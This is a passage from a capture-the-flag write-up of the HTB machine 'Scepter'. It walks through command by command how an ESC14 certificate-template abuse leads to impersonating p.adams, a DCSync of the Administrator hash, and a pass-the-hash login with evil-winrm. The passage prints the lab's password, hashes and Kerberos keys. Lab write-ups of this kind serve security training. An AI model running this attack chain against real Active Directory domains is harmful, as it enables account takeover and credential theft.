As a brew parenthesis, we can upload Get-AltSecIDMapping.ps1 to obtain altSecurityIdentities
for users in the domain (as we have done with ldapsearch
) from Windows
and get:
*Evil-WinRM* PS C:\Users\h.brown\Documents> Get-AltSecIDMapping -SearchBase "CN=Users,DC=SCEPTER,DC=HTB"
CN=h.brown,CN=Users,DC=scepter,DC=htb
X509:<RFC822>h.brown@scepter.htb
We need to add the property altSecurityIdentities
with value X509:<RFC822>p.adams@scepter.htb
for p.adams
user. Why? Because we can abuse again StaffAccessCertificate
template with ESC14
to request a .pfx
file that will allow us to authenticate as p.adams
, just as we did for h.brown
.
Using bloodyAD
we can set the attribute altSecurityIdentities
with value X509:<RFC822>p.adams@scepter.htb
for p.adams
user. In this way, this user will be vulnerable to ESC14
as h.brown
was:
❯ KRB5CCNAME=h.brown.ccache faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" bloodyAD -k -d scepter.htb --host dc01.scepter.htb set object p.adams altSecurityIdentities -v "X509:<RFC822>p.adams@scepter.htb"
[+] p.adams's altSecurityIdentities has been updated
and checking again with ldapsearch
, we can see that p.adams
now has altSecurityIdentities
attribute added:
❯ ldapsearch -x -H ldap://10.10.11.65 -D 'a.carter@scepter.htb' -w 'GunZf0x123!$' -b "DC=scepter,DC=htb" | grep altSecurityIdentities -C 5
logonCount: 4
sAMAccountName: h.brown
sAMAccountType: 805306368
userPrincipalName: h.brown@scepter.htb
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=scepter,DC=htb
altSecurityIdentities: X509:<RFC822>h.brown@scepter.htb
dSCorePropagationData: 20241101040716.0Z
dSCorePropagationData: 16010101000001.0Z
lastLogonTimestamp: 133900325018294214
msDS-SupportedEncryptionTypes: 0
--
logonCount: 1
sAMAccountName: p.adams
sAMAccountType: 805306368
userPrincipalName: p.adams@scepter.htb
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=scepter,DC=htb
altSecurityIdentities: X509:<RFC822>p.adams@scepter.htb
dSCorePropagationData: 20241102220819.0Z
dSCorePropagationData: 20241102220724.0Z
dSCorePropagationData: 20241102110103.0Z
dSCorePropagationData: 20241102074805.0Z
dSCorePropagationData: 16010101000001.0Z
This means that now we can request a ticket for p.adams
setting the email for d.baker
to p.adams
. First of all, in a oneliner restore the GenericAll
attribute to d.baker
user for Staff Access Certificate
OU
, since there is a task restoring it to its original values:
❯ impacket-changepasswd scepter.htb/a.carter@10.10.11.65 -newpass 'GunZf0x123!$' -altuser 'd.baker' -althash '18b5fb0d99e7a475316213c15b6f22ce' -no-pass -reset && faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" bloodyAD -d scepter.htb -u a.carter -p 'GunZf0x123!$' --host dc01.scepter.htb --dc-ip 10.10.11.65 add genericAll "OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB" d.baker
<SNIP>
Then, abuse ESC14
changing the email of d.baker
user to p.adams
as we did before:
❯ faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" bloodyAD -u d.baker -p ':18b5fb0d99e7a475316213c15b6f22ce' --host 10.10.11.65 -d scepter.htb set object d.baker mail -v p.adams@scepter.htb
[+] d.baker's mail has been updated
Request a new .pfx
file that will be used to impersonate p.adams
using StaffAccessCertificate
template:
❯ faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" certipy req -u d.baker -hashes ':18b5fb0d99e7a475316213c15b6f22ce' -ca 'scepter-DC01-CA' -template 'StaffAccessCertificate' -dc-ip 10.10.11.65 -target dc01.scepter.htb -out new_d.baker
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 8
[*] Got certificate without identification
[*] Certificate has no object SID
[*] Saved certificate and private key to 'new_d.baker.pfx'
and use that new file to request the NTLM
hash and a Ticket Granting Ticket
(TGT
) for p.adams
user with Certipy
:
❯ faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" certipy auth -pfx new_d.baker.pfx -dc-ip 10.10.11.65 -username 'p.adams' -domain 'scepter.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[!] Could not find identification in the provided certificate
[*] Using principal: p.adams@scepter.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'p.adams.ccache'
[*] Trying to retrieve NT hash for 'p.adams'
[*] Got hash for 'p.adams@scepter.htb': aad3b435b51404eeaad3b435b51404ee:1b925c524f447bb821a8789c4b118ce0
Since p.adams
was allowed to perform a DCSync
attack, we can use secretsdump.py|impacket-secretsdump
-using the generated Ticket Granting Ticket|TGT
for p.adams
to authenticate with Kerberos
- to request the NT
hash for Administrator
user:
❯ KRB5CCNAME=p.adams.ccache faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" impacket-secretsdump -k -no-pass DC01.scepter.htb -just-dc-user Administrator
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a291ead3493f9773dc615e66c2ea21c4:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:cc5d676d45f8287aef2f1abcd65213d9575c86c54c9b1977935983e28348bcd5
Administrator:aes128-cts-hmac-sha1-96:bb557b22bad08c219ce7425f2fe0b70c
Administrator:des-cbc-md5:f79d45bf688aa238
[*] Cleaning up...
Finally, use that NT
hash log into the victim machine using evil-winrm
:
❯ evil-winrm -i DC01.scepter.htb -u Administrator -H 'a291ead3493f9773dc615e66c2ea21c4'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
scepter\administrator
GG. We can grab the root.txt
flag at Administrator
’s Desktop.
~Happy Hacking.